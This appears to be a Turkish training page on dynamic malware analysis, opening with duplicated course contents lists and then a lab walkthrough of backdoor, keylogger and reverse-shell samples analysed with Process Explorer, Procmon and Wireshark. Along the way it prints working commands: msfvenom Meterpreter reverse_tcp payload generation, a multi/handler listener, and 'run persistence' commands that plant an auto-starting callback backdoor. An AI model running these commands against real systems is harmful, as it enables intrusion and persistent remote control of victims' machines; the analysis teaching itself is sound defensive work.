Kitabımızın son 4 bölümünü içermektedir.
BÖLÜM 4: MALWARE TEMEL DİNAMİK ANALİZ
• Backdoor Temel Dinamik Analiz
• Kalıcı Meterpreter Dinamik Analiz
• Keylogger Temel Dinamik Analiz
• Reverse Shell Temel Dinamik Analiz
• PMA Lab 03-01 Temel Dinamik Analiz
• PMA Lab 03-02 Temel Dinamik Analiz
• PMA Lab 03-03 Temel Dinamik Analiz
• PMA Lab 03-04 Temel Dinamik Analiz
BÖLÜM 5: ASSEMBLY
• Register Kod Yapısı
• Veri Aktarım Komutları
• Adresleme Modları
• Veri Tanımlamaları
• Kontrol Yapıları ve Döngüler
• String İşlemleri
• Aritmetik Mantık Komutları
• İşletim Sistemi ve BIOS İlişkisi
• Ekran ve Klavye İşlemleri
• Temel Giriş ve Çıkış Teknikleri
• Alt Programlarla Bağlantı Kurma
• Kaydırma ve Yönlendirme İşlemleri
• Aritmetik İşlemler
• Diziler
• Klasör ve Dosya İşlemleri
BÖLÜM 6: İLERİ SEVİYE MALWARE ANALİZ
• IDA ile Disassembly
• Backdoor İleri Seviye Malware Analiz
• IDA Pro ile Keylogger Analiz
• PMA Lab 07-01 Analiz
• PMA Lab 07-02 Analiz
• PMA Lab 07-03 Analiz
• PMA Lab 09-01 Analiz
• PMA Lab 09-02 Analiz
• PMA Lab 09-03 Analiz
BÖLÜM 7: BELLEK DÖKÜM ANALİZİ
• PMA Lab 03-01 Bellek Döküm Analizi
• PMA Lab 03-03 Bellek Döküm Analizi
Kitabımızın ilk 3 bölümünü içermektedir.
BÖLÜM 1: NETWORK FORENSİC
• Port Tarama Trafik Paket Analizi
• Host Keşif Trafik Analizi
• Ağ Trafiğinde Dosya Türleri Tespiti
• HTTP Trafiğinde Filtreler
• HTTP Brute Force Saldırı Analizi
• MITM Saldırı Analizi
• MYSQL Brute Force Saldırı Analizi
• SQL Injection Saldırı Analizi
• Yerel Ağ Sızma Testi Analizi
• Zararlı Dosya Transfer Analizi
• Web Shell Tespiti
BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ
• C Keylogger Kaynak Kod Analizi
• C Reverse Shell Kaynak Kod Analizi
• Python Keylogger Kaynak Kod Analizi
• Python Reverse Shell Kaynak Kod Analizi
BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ
• C Keylogger Temel Statik Analiz
• C Reverse Shell Temel Statik Analiz
• Python Reverse Shell Temel Statik Analiz
• Temel Statik Malware Analiz Teknikleri
• PMA Lab 01-04 Temel Statik Analizi
• PMA Lab 01-02 Temel Statik Analizi
• PMA Lab 01-03 Temel D-Statik Analizi
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
Linux Yaz Kampı 2014 bünyesinde gittiğim Web Uygulam Güvenliği Ve Güvenli Kod Geliştirme Notlarımı içermektedir.
En güncel hali her zaman Github üzerinde olacaktır. En sağlıklısı ordan edinmeniz olur.
Github repo linki: https://github.com/1zinnur9/wGuvenlik_LYK14
Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
Kitabımızın ilk 3 bölümünü içermektedir.
BÖLÜM 1: NETWORK FORENSİC
• Port Tarama Trafik Paket Analizi
• Host Keşif Trafik Analizi
• Ağ Trafiğinde Dosya Türleri Tespiti
• HTTP Trafiğinde Filtreler
• HTTP Brute Force Saldırı Analizi
• MITM Saldırı Analizi
• MYSQL Brute Force Saldırı Analizi
• SQL Injection Saldırı Analizi
• Yerel Ağ Sızma Testi Analizi
• Zararlı Dosya Transfer Analizi
• Web Shell Tespiti
BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ
• C Keylogger Kaynak Kod Analizi
• C Reverse Shell Kaynak Kod Analizi
• Python Keylogger Kaynak Kod Analizi
• Python Reverse Shell Kaynak Kod Analizi
BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ
• C Keylogger Temel Statik Analiz
• C Reverse Shell Temel Statik Analiz
• Python Reverse Shell Temel Statik Analiz
• Temel Statik Malware Analiz Teknikleri
• PMA Lab 01-04 Temel Statik Analizi
• PMA Lab 01-02 Temel Statik Analizi
• PMA Lab 01-03 Temel D-Statik Analizi
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
Linux Yaz Kampı 2014 bünyesinde gittiğim Web Uygulam Güvenliği Ve Güvenli Kod Geliştirme Notlarımı içermektedir.
En güncel hali her zaman Github üzerinde olacaktır. En sağlıklısı ordan edinmeniz olur.
Github repo linki: https://github.com/1zinnur9/wGuvenlik_LYK14
Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaPRISMA CSI
Bu sunum, Prisma tarafından verilen “Uygulamalı Beyaz Şapkalı Hacker Eğitimi v1” de anlatılan bir üniteye aittir.
PRISMA CSI • Cyber Security and Intelligence www.prismacsi.com
Bu doküman, alıntı vererek kullanılabilir ya da paylaşılabilir ancak değiştirilemez ve ticari amaçla kullanılamaz. Detaylı bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr bağlantısından erişebilirsiniz.
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit AşamasıPRISMA CSI
Bu sunum, Prisma tarafından verilen “Uygulamalı Beyaz Şapkalı Hacker Eğitimi v1” de anlatılan bir üniteye aittir.
PRISMA CSI • Cyber Security and Intelligence www.prismacsi.com
Bu doküman, alıntı vererek kullanılabilir ya da paylaşılabilir ancak değiştirilemez ve ticari amaçla kullanılamaz. Detaylı bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr bağlantısından erişebilirsiniz.
Bilgi sistemlerine yönelik veya bilgi sistemleri kullanılarak işlenen suçlar ve gerçekleştirilen saldırılar bu sistemler üzerinde izler bırakmaktadır. Ayrıca sistem hafızalarında ve ağ üzerinde söz konusu aktivitelere ilişkin canlı analiz ile işlenen suçların izleri gözlenebilmektedir.
Bilgi sistemleri üzerindeki kalıcı ve geçici suç izlerinin elde edilmesi ve analizi için çoğunlukla ticari adli bilişim çözümlerinin kullanılması gerekmektedir. Bunun sebebi incelenecek verilerin çokluğu ve bu büyüklükteki verilerin manuel yöntemlerle makul bir zaman aralığında incelenememesidir.
Ticari çözümler kullanım kolaylığı sağlayabilmek için pek çok teknik detayı kullanıcılardan gizlemektedirler. Ancak kullanıcıların temel teknik bilgilere sahip olmaması uzmanlıklarının sınırlanmasına ve olası problemlere karşı etkili çözümler geliştirememelerine yol açmaktadır.
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaPRISMA CSI
Bu sunum, Prisma tarafından verilen “Uygulamalı Beyaz Şapkalı Hacker Eğitimi v1” de anlatılan bir üniteye aittir.
PRISMA CSI • Cyber Security and Intelligence www.prismacsi.com
Bu doküman, alıntı vererek kullanılabilir ya da paylaşılabilir ancak değiştirilemez ve ticari amaçla kullanılamaz. Detaylı bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr bağlantısından erişebilirsiniz.
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit AşamasıPRISMA CSI
Bu sunum, Prisma tarafından verilen “Uygulamalı Beyaz Şapkalı Hacker Eğitimi v1” de anlatılan bir üniteye aittir.
PRISMA CSI • Cyber Security and Intelligence www.prismacsi.com
Bu doküman, alıntı vererek kullanılabilir ya da paylaşılabilir ancak değiştirilemez ve ticari amaçla kullanılamaz. Detaylı bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr bağlantısından erişebilirsiniz.
Bilgi sistemlerine yönelik veya bilgi sistemleri kullanılarak işlenen suçlar ve gerçekleştirilen saldırılar bu sistemler üzerinde izler bırakmaktadır. Ayrıca sistem hafızalarında ve ağ üzerinde söz konusu aktivitelere ilişkin canlı analiz ile işlenen suçların izleri gözlenebilmektedir.
Bilgi sistemleri üzerindeki kalıcı ve geçici suç izlerinin elde edilmesi ve analizi için çoğunlukla ticari adli bilişim çözümlerinin kullanılması gerekmektedir. Bunun sebebi incelenecek verilerin çokluğu ve bu büyüklükteki verilerin manuel yöntemlerle makul bir zaman aralığında incelenememesidir.
Ticari çözümler kullanım kolaylığı sağlayabilmek için pek çok teknik detayı kullanıcılardan gizlemektedirler. Ancak kullanıcıların temel teknik bilgilere sahip olmaması uzmanlıklarının sınırlanmasına ve olası problemlere karşı etkili çözümler geliştirememelerine yol açmaktadır.
IntelligentResponse ANET SureLog ürününün akıllı alarm ve uyarı mekakanizmasıdır.
• Mail gönderme
• Script çalıştırma
o Visual basic
o Batch dosya
o Perl script
o Phyton script
• Java kod çalıştırma
• Uygulama çalıştırma
• Dinamik liste güncelleme. Örnek: Yasak IP listesine yeni IP ekleme veya çıkarma, Son 1 haftada aynı makinaya 3 den fazla başarısız oturum denemesi yapanlara yeni bir kullanıcı ekleme veya çıkarma vb.. işlemleri parametre yönetimi de yaparak yerine getirmek mümkündür
Android mimarisinin linux çekirdeğine extradan yaptığı bazı değişiklikler anlatıldı ayrıca android de linux un init fonksiyonunun çalışma mantığı ve yaşam döngüsü anlatıldı.
Unix Denitim Dokümanımız aşağıdaki konu başlıklarını içermektedir:
Unix Temelleri
-Shell
-Dosya Sistemi
-Dosya-Dizin Yapıları ve Yetkiler
-Dosya ve Klasör Yönetimi
-Process
-Ağ Servisleri
-Kullanıcı Yönetimi
-Görev Zamanlayıcı (Cron)
-Loglama
-Manual Sayfaları
Unix Sistem Güvenliği Kontrolleri
-Network Servisleri
-Uzak Erişim kontrolleri
-Kritik Dosya ve Komut Erişimleri
-Süreç Takibi
-Sistem Kullanıcılıarı
-Kimlik Doğrulama
-Kapasite ve Sistem Performans Takibi
-Güvenlik Kontrolleri ile İlgili İpuçları
2. Backdoor temel dinamikzararlıanaliz
Herkese merhabadeğerliTHTailesi bukonumdasizlere Backdooradlıyani türkçe'si ile Arkakapı
virüsününtemel dinamikanalizini gerçekleştireceğim.Herkese faydalıolmasıdileğiyle...
Temel dinamikanalizinde kullanacağımızaraçlar:
1.Processexplorer
2.Procmon(Processmonitor)
3.Wireshark
Bu araçlardan kısaca bahsedeyim.
1.Processexplorernedir?
Processexplorerişletim sistemimizde çalışanişlemleri yani programları,ramkullanımlarınıve cpugibi
süreçlerintakibini yapabileceğimizportable programıdır.
2.Procmon(Processmonitor) nedir?
Procmonbir diğeradı ile processmonitortümdosyasistemi aktivitelerini anlıkolarakizleyip,takip
edip,analizini yapabileceğimizgelişmişbirprogramdır.
3.Wiresharknedir?
Wiresharkağ sorunlarınıgiderme,ağpaketlerini izleme ve çözümlemegibi birçokseçeneksunan
profesyonel açıkkaynakkodlubiraraçtır.
Backdoor diye birkavramdandabahsettik.Peki backdoornedir?
Örnekolarakbir sisteme sızdınız.Sızdığınızsistemdekalıcılığıhedefliyorolabilirsinizbununiçin
backdooradlı virüsükarşı sisteme atıpistediğinizbirzamandiliminde yenidenosisteme erişim
sağlayabilirsiniz.Yani sistemitekrardanistismaretmenizegerekkalmayacaktır.
3. Kullanacağımişletimsistemleri WindowsXPve Backbox Linux.Analizimi yapacağımsistemWindows
XP,Saldırganmakinemise Backbox Linux işletimsistemi.
Senaryoyukısacaözetleyecek olursak:
İlkönce Backbox Linux işletimsistemimdemsfvenomile birtane virüsoluşturupWindowsXP
makineme atacağım.VirüsüattıktansonraBackbox Linux işletimsistemimde m3tasploit'e geçerek
dinleme işlemine başlayacağım, WindowsXPmakinemdevirüslü exedosyasınaçifttıklayacağımve
Backbox Linux işletimsistemimde birtane meterpreteroturumudüşecek.Meterpreteroturumu
düştüktensonram3tasploit'de bulunanmeterpreter'ınözelliği olanpersistence adlıözelliğikullanıp
WindowsXPmakinemdeBackdoor oluşturmayıhedefliyorum.Bizde asıl analizimizi,oluşturulan
Backdoor üzerinde yapacağız.
Senaryoyudaözetlediğimizegöre artıkgerekli adımlarabaşlayabiliriz.
Önceliklemsfvenomile birtane virüsoluşturuyorum:
Kod:
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.190.140 LPORT=4444 -f exe -o
/home/backbox/Desktop/malware.exe
Yukarıdaki koddamsfvenomile "windows/meterpreter/reverse_tcp"adlıpayload'ıseçtik.Seçtikten
sonra LHOST kısmına yerel ağdabulunduğumipadresimiverdimve LPORTyazankısmaysavirüsün
dinleyeceğiportadresini verdimyani "4444" portunuverdim."-f"yazankısmavirüsümünhangi
uzantıda ya da hangi dosyabiçiminde olacağınısöyledim."-o"yazankısmaise virüsümünçıktıolarak
nereye oluşacağınıverdim.Virüsümüzü oluşturduktansonrabuvirüsüWindowsXPsanal makinesine
atmamız gerekecek.Bununiçinsaldırganmakinemizde şukoduyazıyorum:
Kod:
python-mhttp.server80
Burada pythonile "http.server"modülükullanılarak80portu üzerindendosyapaylaşımı
yapıyorum.Busayede WindowsXPmakinemize"malware.exe"adlıvirüslüdosyamızı
indirebileceğiz.Şimdi WindowsXPmakineme geçipvirüslüdosyayıindiriyorum:
4. İndirdiktensonraBackbox Linux işletimsistemimegeçipmsfconsoleile alttakikodlarıyazıyorum ve
dinleme işlemine başlıyorum:
Kod:
use exploit/multi/handler
setpayloadwindows/meterpreter/reverse_tcp
setLHOST 192.168.190.140
setLPORT 4444
run
WindowsXPsanal makinemde indirdiğimizvirüslüdosyayaçifttıklıyorumve Backbox Linux işletim
sistemimizdebirtane meterpreteroturumueldeediyoruz:
Elde ettiktensonrabizbusistemde arkakapıbırakmayı hedefliyordukdeğilmi.Bununiçin
meterpreteroturumumuzaşukoduyazmamızgerekecektir:
Kod:
Run persistence-U-i 5 -p6666 -f 192.168.190.140
"-i"parametresi ile kaçsaniyedebirbizimipadresimizebağlantıgerçekleştirileceğini yazdım."-p"
yazan kısım hangi port üzerindenbackdooradlıvirüsünhangi portüzerindenbizimipadresimize
5. bağlantısağlayacağını yazdım ve "-f"parametresi ile de kendiipadresimiyazdım.Şimdi bukomutu
çalıştıralım:
Evetgörüldüğüüzere Backdooradlıvirüsümüzkarşıyaoluşturulmuşoldu.ŞimdiWindowsXP
makineme geçipprocessexplorer,procmonve wiresharkadlıaraçlarımı açıp analizişlemine
başlıyorum:
Evetgörüldüğüüzere bizimprocessexploreraracımabaktığımda malware.exe adlıvirüslüdosyanın
altındacsscript.exe açılmışonunaltındada bizimoluşturduğumuzbackdoor'ugörüyoruz.Şimdi
burada csscript.exe adlıdosyanınaltındabulunan backdoordosyanınüzerine mouseile gelipsağtık
yapıp Propertiesdiyorumyani buşekilde dosyanınözelliklerine bakmışolacağız:
6. Propertiesdediktensonra"tcp/ip"bölümüne gelipvahimdurumugörüyoruz.Bizimkendipc'mizin
local adresindenbaşkabircihazın4444 portununipadresine bağlantıkurulduğunugörüyoruz.Başka
bir cihazdedimçaktırmayın;).Ve buprogramkendini5saniye de biryenileyerekbağlantı
kuruyor.Buradabackdoorolduğunubirkere gözönünde bulunduruyoruz.Sonrasındaözellikler
kısmında bulunanstringsbölümüne geliyorumve programıniçinde bulunanstring'leri gezerken
gözüme 3 tane mavi ile işaretlediğimdll dosyasıtakılıyor:
7. Bu üç dll dosyasınıdaaçıklayalım:
ADVAPI32.dll:Budll dosyasıAdvancedWindows32Base APIdosyatürüdür.Budll dosyasıgenellikle
OperatingSystemyazılımındakullanılır.Windowsişletimsisteminde kullanılırve dinamikbağlantı
kitaplığıdosyasıdır.
WSOCK32.dll:Wsock32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosyatürü olarakkabul edilir.
wsock32.dll gibi DinamikBağlantıKitaplığıdosyaları,aslındasapisvr.exe gibi yürütülebilir(EXE)
dosyalarıiçinbilgileri ve talimatlarıkaydedenbir"kılavuzkitaptır".
WS2_32.dll: Ws2_32.dll dosyası,birDinamikBağlantıKitaplığı(DLL) dosya türüolarak kabul edilir.
Yukarıda saydığım 3 dll dosyasıda bağlantıdosyaları.WS2_32.dll ve ADVAPI32.dll dosylarıgenellikle
zararlı yazılımlardasık rastlanılabiliyor.
8. Şimdi procmonaracımı açıp processname filtresi uygulayarakbackdooryazılımınıntümregister
aktivitelerini görebiliyorum:
Bakın sol tarafta gösterilenmavi ileişaretlediğimzamanaktiviteleri,sağtaraftamavi ile işaretlediğim
yerise WindowsXPmakinesininlocal adresindenBackbox Linuxişletimsistemininipadresine tcp
bağlantısıgerçekleştiriyor.Bakın2dakikaiçerisinde22 kere tcp bağlantısıgerçekleştirmişve process
yani backdoor'umuzkapanmışve sonrasındayenidenbackdoorkendini restartedipbusaydığım
aktiviteleri gerçekleştiriyor.Buşekildesürekli birdöngüoluşturularakistediğimizbirzamandiliminde
yenidenosisteme erişimimkanıtanıyorbackdoorbize.
Şimdi de wiresharkaracınageçelim:
Burada tcp filtrelemesini yapıyorum.Daharahatanalizyapabilmekiçin:
9. Burada kırmızı ile gösterilen yerlerbağlantınınbaşarısızolduğuanlamınageliyorgri olanyerlerise
bağlantınınbaşarılı olduğunugösteriyor.Mavi ile aldığımyere bakarsakgörüldüğüüzere tcpbağlantısı
gerçekleştirliyorve kendi local hostumuzdan,saldırganipadresine tcpbağlantısıgerçekleştiriliyor.Bir
tane paketinüzerine gelelimve incelemeyebaşlayalım:
959.paketinüzerine geldimve incelemeyebaşladımburadasource yazankısım bağlananyer,
destinationyazanyerise bağlanılanyeranlamınageliyor.BuradaWindowsXPmakinemizsaldırganın
ipadresine bağlantıgerçekleştiriyor.
Protokolümüzüntcpolduğunusöylüyorburadada.
Konumuzunsonunageldik.Esenlikler...
KALICI METERPRETER DİNAMİK ANALİZ
Kalıcı Meterpreter Dinamik Zararlı Analizi
Senaryonun Özeti;
1. Metasploit ile meterpreter oturumu elde etmek
2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma
3. Oluşturulan vbs script'in dinamik analizinin yapılması
Lab ortamı Kali Linux 2021.1, windows 8.1
1.Metasploit ile meterpreter oturumu elde etmek
Basic bir örnekle meterpreter oturumu elde edeceğiz. Aşamaları tek tek aşağıda belirteceğim...
Öncelikle Meterpreter Nedir?
Meta-Interpreter'in kısaltılmışı olan meterpreter modül destekli ileri düzey bir Metasploit
payload çeşitidir. Karşı bilgisayarda çalışan gelişmiş bir komut satırı desek yanlış söylemiş
olmayız. Meterpreter hard diske yazma işlemi yapmaz, RAM üzerinde çalışır. Meterpreter
payloadı, Metasploit ile şifreli bir şekilde iletişim kurmaktadır. Buradaki hedef kurban
bilgisayarda minimum iz bırakmadır. Meterpreter çalışırken üzerine yeni modüller eklenebilir
örnekte yapacağımız persistance modülü gibi.
10. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5432 -f
exe -o blue.exe
Açıklama;
-p //-- payload belirttik.
-f //-- çıktının hangi formatta olacağı,
-o //-- oluşturduğumuz payload'ın ismini,
LHOST //-- Saldırgan makinenin adresi,
LPORT //-- İletişime geçilecek portu belirtiyoruz.
Ardından oluşturduğumuz payloadı /var/www/html adresine kopyaladık ve local ağdaki tüm
makinelere açık hale getirdik
ve tabi unutmadan, bu işlemin gerçekleşmesi için apache2 sunucumuzu aktif hale getirmemiz
gerekmekte. Kontrol etmek için service --status-all yapabilirsiniz.
Daha sonra msfconsole ile metasploite giriş yapalım. Payload tarafından gelen paketleri
exploit/multi/handler ile yakalayacağız.
exploit/multi/handler aslında tüm platformlar için geçerli bir dinleme modülü.
tekrardan;
set LHOST //-- Saldırgan makinenin adresi,
set LPORT //-- İletişime geçilecek portu belirtiyoruz.
ve
11. set payload ... //-- ile payload belirttik.
exploit veya run ile dinlemeye başlayalım.
Herhangi bir şekilde kurban bilgisayarımızda payload çalıştığı andan itibaren meterpreter
oturumumuz açılmış olacaktır.
Herhangi bir sosyal mühendislik saldırısı ile kurban sistemde payloadı çalıştırdık ve
meterpreter oturumu elde ettik.
Şimdi ise kalıcılığı sağlayalım..
2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma
Kalıcılık neden önemli? Yukarıda elde ettiğimiz meterpreter oturumu malesef kalıcı bir
oturum değil. Herhangi bir ağ bağlantısı hatası veya kurban makinenin kapatılması vb gibi
durumlarda meterpreter oturumunu kaybedebiliriz.
Bu örnekte persistence modülü ile kalıcılığı sağlayacağız fakat kalıcılık bir çok farklı yöntem
ile elde edilebilir. Bu yöntemlerden birkaçı;
Backdoor
Direct Code Injection
S4U Persistence (Scheduled Persistence)
registry-persistence modulü
Şimdi Persistence modülü ile kalıcığı sağlamaya geçelim. Meterpreter oturumunda iken
yapmamız gereken..
run persistence -A -U -i 30 -p 5432 -r 192.168.1.200
Açıklama;
-A //-- Multi/Handler modulü ile eşleşen script kurbanda etkinleştirildiğinde otomatik
bağlantı yapmaya olanak sağlar
-U //-- Hedef alınan kullanıcı bilgisi verilir. Biz tüm kullanıcılar için etkinleştirdik.
-i //-- Sıradan bir payload sadece ilk çalıştığı anda kendi sunucusuna bağlantı isteği
gönderir. Bu parametre sayesi ile belirtilen saniye aralığında multi/handler modulüne
bağlantı isteği gönderir.
-p //-- Port bilgisi
-r //-- (Metasploit)Handler modülünün çalıştığı ip adres bilgisi
12. Yeşil ile çevrelenmiş alanda görüldüğü üzere Temp dosyası altına hKRRGj.vsb scripti
oluşturdu. Default olarak temp dosyasının altına oluşturuluyor eğer istersek -L parameteresi
ile konum bilgisi verilebilir.
Ayrıca bu scripti çalıştıracak kayıt anahtarı da(FauiknGLDcwlqY)
SoftwareMicrosoftWindowsCurrentVersionRun içerisine eklendi.
Yani sistem her açılışında otomatik olarak çalışacaktır.
3. Oluşturulan vbs script'in dinamik analizinin yapılması
Malware Dinamik Analiz Nedir?
Özetle Malware'in statik analiz sonrası(en sağlıklısı budur) izole edilmiş ortamda
çalıştırılarak çeşitli araçlar yardımı ile etkilerinin incelenmesidir.
İlk olarak ağ hareketlerinden başlayalım. hKRRGj.vsb isimli scriptimiz bilgisayarda çalışır
durumda iken NetworkMiner aracımızı açıyoruz.
Host sekmesinde dikkatimizi çeken bir olay var. 192.168.1.200 numaralı ip'den TCP 5432
numaralı porttan bir veri alışverişi var. Bu ip bilindiği üzere saldırgan makinenin ip adresiydi.
Wireshark aracında da "tcp.port == 5432" ile de 5432 numaralı port incelenebilir.
13. Burada size göstermek istediğim bir olay var. Bu olay aslında sistemde bir persistence
modelinin olduğunu bize kanıtlamaktadır.
Wireshark'ta Statistics > I/O Graphs bölümüne gelelim. Bilindiği gibi oluşturduğumuz vbs
scripti her 30 saniyede bir bağlantı isteği gönderecekti. Burada yaklaşık 150 saniye boyunca
saldırgan makineden herhangi dinleme yapılmadı. Görüldüğü gibi yaklaşık 30 saniyede bir
TCP bağlantı hatası ile karşılaşılmış yani TCP Errors almış bu 150 saniye içinde 4 kez
tekrarlanmış. (Kırmızı ile belirtilen yerler TCP Erros kısımları, kahverengimsi kısım ise 5432
numaralı porttan geçen alışveriş.) Fakat 5. seferde bağlanılmış. Bunu nereden anlıyoruz
derseniz görüldüğü gibi bağlantının aktif olmasından dolayı yüklü bir paket artışı var ve
sonrasında bu port üzerinden alışveriş devam ettiği için kahverengimsi çizgimiz de
hareketlenmiş.
Network kısmından şimdide sistem üzerinde neler olduğuna bakalım.
Bunun kullanacağımız araçlar: Process Explorer, Process Monitor
14. Process Explorer
Görev yöneticisine benzerdir. Çalışan process, thread gibi bilgileri listeler. Dosyaların
çağırılma konumu ve bağlantı adresleri gibi bilgileri vermektedir.
Process Monitor
Gerçek zamanlı olarak Dosya İşlemleri, Registry kayıtları ve process thread gibi işlemleri
gösterebilir.
İkisini aynı anda açalım.
Process Explorer'da alışılmışın dışında bir şeyler var gerek ismi gerek cpu kullanımı üstüne
çift tıklayarak incelediğimizde..
TCP/IP bölümünde o meşhur ip ve portu görmekteyiz. Parçaları tek tek kafamızda oturmaya
başladı aslında.
Şimdi ise Process Monitor'e geçelim burada Process Explorer ile öğrendiğimiz
15. fCPcvLKpRBeF.exe dosyası ile filteleme yapalı.
Bunun için Process Monitor'de Ctrl + L ile Filter kısmına gelelim.
Burada Process ismine göre bir filtreleme yapacağımız için Process Name is
fCPcvLKpRBeF.exe olarak filtreleme işlemi yapalım.
16. Burada fCPcvLKpRBeF.exe ait bağlantıları ve registry kayıtlarını görmekteyiz.
Ayrıca değişik filtrelemeler ile okunan dosyaları(ReadFile), oluşturulan dosyaları(CreateFile)
incelemek mümkün.
KEYLOGGER TEMEL DİNAMİK ANALİZ
Merhaba,bu konumuzdakeyloggerzararlısınıntemel dinamikmalware analizini gerçekleştireceğiz.
İlgili keyloggerzararlısınıyani exe dosyasınıWindowsXPsistemimde çalıştıracağımve process
Explorerile ilgili süreçlerintakibiniyapacağım.
Lab03-03.exe dosyasızararlı dosyamız,kendisini çalıştırdığımızanhemensvchost.exe süreci de
oluşturuldu.Busüreçlerçalıştıktançokkısa birsüre içerisinde zararlımızsüreçlerarasındankayboldu.
Yani buşüpheli birdurumdur.İlgili exeçalışıyorve kendini 1-2saniye içerisinde yokediyor.Şimdi
svchost.exe süreciniprocessExplorerdainceleyeceğim.
19. Dikkatedersenizilkbaştadiskte yeralankarakterlerile bellekte yeralankarakterfarklı.Buradayer
alankarakterlere bakarsanızklavye girdileri,girilendeğerleri kaydetmekiçinkullanılanfonksiyonlar
ve aynı zamanda biradetde logdosyasıgörüyoruz.Yani aslında buzararlımızın netbirşekilde
keyloggeraktivitesi gerçekleştirdiğini görebiliriz.Klavye girdileri tahminenilgili logdosyasında
tutuluyor.
Bakın zararlı bulunduğudizinde logdosyasınıtutuyor.Bakalımbulogdosyasınelerkaydetmiş..
‘Blue teamsunar’klavye girdisini loglamış. Bukonumuzdatemelbirşekilde zararlısüreci analizettik
ve tuşları birlog dosyasınakaydettiğini,keyloggerözelliğitaşıdığınıanladık.
REVERSE SHELL TEMEL DİNAMİK ANALİZ
Herkesemerhabalar, Blue Team ekibimizle birlikte malware analiz eğitimlerimize devamediyoruz. Bu
hafta sizlere temel dinamik analiz tekniklerini sunuyoruz.
20. Temel Dinamik Analiz
Temel dinamik zararlı yazılım analizi, zararlının çalıştırılarak davranışlarının analizinin
gerçekleştirilmesidir. Temel statik analizde ise zararlıyı çalıştırmadan analiz ediyorduk ancak burada
zararlının işlevi yerinegetirilecektir. Temel dinamik analizinde zararlı herhangibir debuggervasıtasıyla
debug edilerek incelenmez. Yani buradaassemby seviyesineinilmiyor, ileri dinamik analizden farkı bu.
Buradazararlıyı sistemde çalıştıracağız ve bu zararlı ağ bağlantısı gerçekleştiriyormu, gerçekleştiriyorsa
hangiip adresleri veya domainlerle iletişim kuruyor, kayıt defteri üzerindedeğişiklikler yapıyormu, dns
aktivitesi, hangiprotokollerleiletişim kurduğu gibisorularacevap alacağız.
Zararlı executabledosyamız Windows XP makinemiz üzerindebizi bekliyor. Ben bu zararlıyı XP makinesi
üzerindeçalıştırıp çeşitli araçlar vasıtasıyla inceleyeceğim. Ama bundan öncezararlıyazılımı sanal
makinam da çalıştırmadan öncesanal makinamın yedeğini alacağım. Biz bunasnapshot diyoruz
İşaretlediğim ikona tıklayarak XP makinamızın şu anki halinin yedeğinialıyoruz vezararlı analizini
gerçekleştirdikten sonraaldığımız yedeğegeri yüklüyoruz.
21. Yedeğimize isim verip Take Snapshot diyerek oluşturuyoruz. Bu zararlıanalizimizi gerçekleştirirken iki
adet işletim sistemi kullanacağım bunlardan birisi Windows XP bir diğeri ise Remnux dağıtımı olacak.
Remnux, tersinemühendislik vezararlı yazılım analizleri için içerisinde birçok yazılımı hali hazırda
bulunduruyor. Bu sebepten bizdekendisinden biraz faydalanacağız. Aslındaolmasada olur ama
kullanılan bir sistem olduğundan basitçedeğinmek istiyorum. BuradaWindows XPsistemimizin DNS
ServerIP adresiniRemnux makinasının adresi olarak tanımlayacağım ve XP üzerindeçalışan zararlının
aktivitelerini Remnux üzerinden geçirerek remnux üzerindeyer alan bazıaraçlar ile analizimize destek
sağlayacağız.
İlgili ip adresini XP de DNS ServerIP adresiolarak vereceğim.
Bu şekilde kullanılan DNS sunucu adresiniRemnux makinasının IP adresiolarak verip Remnux da
dinlemeler gerçekleştireceğim.
22. Remnux tarafında fakedns aracını çalıştırarak XP tarafında zararlı çalıştıktan sonragerçekleşecek bir dns
sorgusu oluşmasıdurumundafakedns zımbırtısıile bunu yakalayacağız. Dahasonrabu DNS
sunucularınaWireshark üzerindeodaklanacağız.
Şimdi zararlı yazılımımızı Windows XP üzerindeçalıştırmadan öncekullanacağız üç tanearacı
başlatıyoruz. Process Explorer, Process Monitor(Procmon)ve Wireshark araçlarını başlatıyoruz.
Wireshark aracımızı çalıştırdık veağ bağlantılarını dinlemeye hazırız. Öyle hazırız ki bizim fakedns
zımbırtısı hemen belirtilerini göstermiş.
Sen diyor Wireshark açtın haberin olsun.
23. Diğer ikilimizde bunlar. Gördüğünüz gibişu an işletim sistemimiz üzerindeçalışan prosesleriyani
süreçleri buradan görebiliyoruz. Yazılım çalıştıktan sonraburadasüreçlerüzerinde netip olaylar
gerçekleşecek ve aynı zamandaregistery üzerindeyani kayıt defteri üzerindebu zararlı yazılım neler
gerçekleştirecek bunlarıgözlemleyeceğiz.
Aaa, az kalsın unutuyordumzararlıyazılımı çalıştırdıktan sonrabağlantının sağlanacağıtarafa yani
hackertarafına da bir gidelim dinlemeyi başlatalım. Bir takım aktiviteler gerçekleştirelim ki analizin tadı
tuzu olsun. Hem hackliyoruz, hemanaliz ediyoruz.
Zararlı yazılımı çalıştırdık ve hemen süreçlerimize bakıyoruz.
Malware.exe ben geldim diyor.
Saldırgan kardeşimiz de hoş geldin diyor, muradınaerdi tabii. Buradagördüğünüz gibireversebağlantı
kurulmuş oldu.
